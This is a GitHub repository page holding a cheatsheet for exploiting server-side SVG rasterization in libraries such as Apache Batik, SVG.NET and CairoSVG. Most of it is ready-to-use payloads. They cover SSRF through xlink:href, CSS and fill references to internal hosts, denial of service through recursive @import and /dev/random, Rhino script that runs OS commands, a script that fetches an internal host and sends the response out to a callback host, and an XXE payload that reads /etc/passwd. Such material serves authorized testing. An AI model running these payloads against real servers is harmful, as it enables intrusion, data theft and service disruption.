Skip to content

A cheatsheet for exploiting server-side SVG rasterization.

Notifications You must be signed in to change notification settings

yuriisanin/svg2raster-cheatsheet

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

15 Commits
 
 
 
 

Repository files navigation

SVG rasterization cheatsheet

XLink:Href references

The specification says that:

This specification defines the XML Linking Language (XLink) Version 1.1, which allows elements to be inserted into XML documents in order to create and describe links between resources. It uses XML syntax to create structures that can describe links similar to the simple unidirectional hyperlinks of today's HTML, as well as more sophisticated links.

In case of SVG files it allows to reference external or embedded resources such as images, XML-based documents, Fonts, ICC profiles. During server-side rasterization it could lead to blind or semi-blind server-side request forgery (SSRF) vulnerabilities. Blind if content validation is missing or exceptions suppressed.

Documents

feImage:

<filter id="externalFeImage" x="0" y="0" width="1" height="1">
    <feImage xlink:href="http://internal-resource#id-fragment"/>
</filter>
<rect id="feImage" x="0" y="0" width="100%" height="100%" filter="url(#externalFeImage)" />

altGlyph (altGlyphDef, glyphRef):

<text x="30" y="130">
    <altGlyph xlink:href="http://internal-resource#id-fragment"></altGlyph>
</text>

use:

<use xlink:href="http://internal-resource#id-fragment" />

text (tref):

<text fill="none">
    <tref xlink:href="http://internal-resource#id-fragment"/>
</text>

Images

image:

<image width="100" height="100" xlink:href="http://internal-resource"></image>

Fonts

<font-face font-family="External Font">
    <font-face-src>
        <font-face-uri xlink:href="http://internal-resource"/>
    </font-face-src>     
</font-face>
<text font-family="'External Font'">external font</text>

ICC profiles

<svg xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink">
     <color-profile name="external-profile" xlink:href="http://internal-resource"></color-profile>
     <path fill="rgb(179, 70, 25) icc-color(external-profile, 0.702, 0.2745, 0.098)"/>
</svg>

Stylesheets

XML stylesheet

<?xml-stylesheet type="text/css" href="http://internal-resource" ?>
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
</svg>

CSS @import

<style type="text/css">
    @import url(http://internal-resource);
</style>

CSS infinite loading via @import rule

Some CSS engines don't check for the self-references during @import rule processing. This could be used for DoS scenarios by triggering infinite CSS loading using specially crafted styles file.

css-infinite-import

Infinite loading using /dev/random

In some cases you can trick a library into loading data from the infinite stream, causing significant resource consumption on the server side. Although, it won't crash the application, but it's still can be used for DoS scenarios.

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
    <style type="text/css">
        @import url(file:///dev/random);
    </style>
</svg>

Pseudorandom number generators:

  • /dev/random
  • /dev/urandom
  • /dev/arandom

Tags styles using fill attribute

Supported tags

rect:

<rect width="100" height="100" fill="url(http://internal-resource)"></rect>

path:

<path fill="url(http://internal-resource)"></path>

Scripting

It worth to check if the library processing javascript, because in some cases it could lead to remote code execution.

Embedded scripts

Script tag

<script type="application/javascript">
    alert(1);
</script>

Events

<svg xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink"
     onload="alert(1)">
</svg>

External scripts

<script type="text/ecmascript" xlink:href="http://external-resource"></script>

Code execution

Apache Batik offers script execution capabilities from the box. It uses Mozilla Rhino script intepreter and allows to use Java objects and classes. It has pretty weak ClassShutter and doesn't apply script sandboxing on the framework level. This makes it possible for attackers to achive Java code execution on the target machine. It recommended to use Java Security manager for sandboxing purposes.

It worth mentioning that batik-rasterizer application applies security, and restricts access to all critical resources using Java SecurityManager.

  1. Time-based Rhino fingerprinting:
<svg xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink">
    <script type="text/ecmascript">
        // Sleep for 30 seconds
        importPackage(Packages.java.lang);
        Thread.sleep(30000);
    </script>
</svg>
  1. Rhino OS command execution:

Java policy: permission java.io.FilePermission "<<ALL FILES>>", "read, execute";

<svg xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink">
    <script type="text/ecmascript">
        importPackage(Packages.java.lang);
        Runtime.getRuntime().exec("open -a Calculator");
    </script>
</svg>

batik-code-execution

  1. Server-Side Request Forgery:

Java policy: permission java.net.SocketPermission "*", "listen, connect, resolve, accept";

<svg xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink">
    <script type="text/ecmascript">
        importPackage(Packages.java.net);
        importPackage(Packages.java.util);
        importPackage(Packages.java.lang);
        importPackage(Packages.org.apache.commons.io);
        var targetC = new java.net.URL("http://target-internal-host").openConnection();
        var targetContent = IOUtils.toString(targetC.getContent());
        var encodedContent = Base64.getUrlEncoder().encodeToString(new java.lang.String(targetContent).getBytes());
        var callbackC = new java.net.URL("http://callback-host/callback?resp="+encodedContent).openConnection();
        callbackC.getContent();
    </script>
</svg>

It is still possible to get some impact from sandboxed script execution - you can get details about application internals (except classes from prohibited namespaces), such as class names, their methods and fields by using reflection mechanism.

Prohibited classes:

  • org.mozilla.javascript.*
  • org.apache.batik.script.*
  • org.apache.batik.apps.*
  • org.apache.batik.bridge.ScriptingEnvironment.*
  • org.apache.batik.bridge.BaseScriptingEnvironment.*
  1. Fingerprinting available classes:
<svg xmlns="http://www.w3.org/2000/svg" 
     xmlns:xlink="http://www.w3.org/1999/xlink">
    <script type="text/ecmascript">
    <![CDATA[
        importPackage(Packages.java.lang)
        var cn = Class.forName("org.apache.batik.script.ImportInfo");

        // Get class info
        var cnConstructors = cn.getConstructors();
        for (var i=0; i<cnConstructors.length; i++){
            System.out.println(cnConstructors[i]);
        }
        var cnMethods = cn.getMethods();
        for (var i=0; i<cnMethods.length; i++){
            System.out.println(cnMethods[i]);
        }
        var cnFields = cn.getFields();
        for (var i=0; i<cnFields.length; i++){
            System.out.println(cnFields[i]);
        }

        // Get classes in the package
        var classes = cn.getClasses();
        System.out.println("Classes:");
        for (var i=0; i<classes.length; i++){
            System.out.println(classes[i].getCanonicalName());
        }
        ]]>  
    </script>
</svg>

XML External Entities

Old but gold. Most of the libraries don't allow to use XML external entities or DTD, however, this option could be enabled by developers. Defenetly worth to check.

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE ernw [ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<svg xmlns="http://www.w3.org/2000/svg">
    <text>
        &xxe;
    </text>
</svg>

Libraries

Apache Batik (Java)

External Resource Config
Images & Documents
  • Enabled [Default]
  • Disabled (OPTION: KEY_ALLOW_EXTERNAL_RESOURCES)

Supported schemas:
  • HTTP, HTTPS, JAR, FILE, DATA

Related CVEs:
Fonts
  • Enabled [Default]
  • Disabled (OPTION: KEY_ALLOW_EXTERNAL_RESOURCES)

Supported schemas:
  • HTTP, HTTPS, JAR, FILE, DATA
CSS
  • Enabled [Default]
  • Disabled (OPTION: KEY_ALLOW_EXTERNAL_RESOURCES)

Supported schemas:
  • HTTP, HTTPS, JAR, FILE, DATA
ICC profiles
  • Enabled [Default]
  • Disabled (OPTION: KEY_ALLOW_EXTERNAL_RESOURCES)

Supported schemas:
  • HTTP, HTTPS, JAR, FILE, DATA
Embedded/External Scripts
  • Disabled [Default]
  • Enabled (OPTION: KEY_EXECUTE_ONLOAD)
Supported scripts:
  • text/ecmascript
  • text/javascript
  • text/javascript
  • application/ecmascript
  • application/javascript
Related CVEs:
External entities & DTD
  • Disabled [Default]
  • Enabled (N/A)

Related CVEs:

Exceptions

Name Message
java.io.IOException Server returned HTTP response code: {StatusCode} for URL
java.io.IOException No such file or directory
java.net.SocketException Unexpected end of file from server
java.net.ConnectException Connection refused (Connection refused)
javax.xml.stream.XMLStreamException Content is not allowed in prolog.
org.xml.sax.SAXParseException The element type "{tag_name}" must be terminated by the matching end-tag "{tag_name}"

SVG.NET (.NET)

Repository: https://github.com/svg-net/SVG

External Resource Config (Enabled)
Documents
  • Enabled [Default]
  • Disabled (Option: ResolveExternalElements = ExternalType.None)

Supported schemas:
  • HTTP, HTTPS, FILE
Images
  • Enabled [Default]
  • Disabled (Option: ResolveExternalImages = ExternalType.None)

Supported schemas:
  • HTTP, HTTPS, FTP, FILE, DATA
Fonts
  • Enabled [Default]
  • Disabled (Option: ResolveExternalElements = ExternalType.None)

Supported schemas:
  • HTTP, HTTPS, FILE
CSS -
ICC profiles -
External DTD / Entities
  • Disabled [Default]
  • Enabled (Option: ResolveExternalXmlEntites = ExternalType.None)
Ecmascript processing -

CairoSVG (Python)

External Resource Config (Enabled)
Documents
  • Enabled [Default]
  • Disabled: N/A

Supported schemas:
  • HTTP, HTTPS, FILE, FTP, DATA
Images
  • Enabled [Default]
  • Disabled: N/A

Supported schemas:
  • HTTP, HTTPS, FTP, FILE, DATA
Fonts -
CSS
  • Enabled [Default]
  • Disabled: N/A

Supported schemas:
  • HTTP, HTTPS, FTP, FILE, DATA
ICC profiles -
External DTD / Entities -
Ecmascript processing -

Exceptions

Name Message
PIL.UnidentifiedImageError cannot identify image file
urllib.error.URLError urlopen error ftp error: TimeoutError(60, 'Operation timed out')
urllib.error.URLError urlopen error [Errno 2] No such file or directory: '{filename}'
urllib.error.URLError urlopen error [Errno 61] Connection refused
xml.etree.ElementTree.ParseError syntax error: line 1, column 0

Support

You can follow me on Twitter, GitHub or YouTube.

About

A cheatsheet for exploiting server-side SVG rasterization.

Topics

Resources

Stars

Watchers

Forks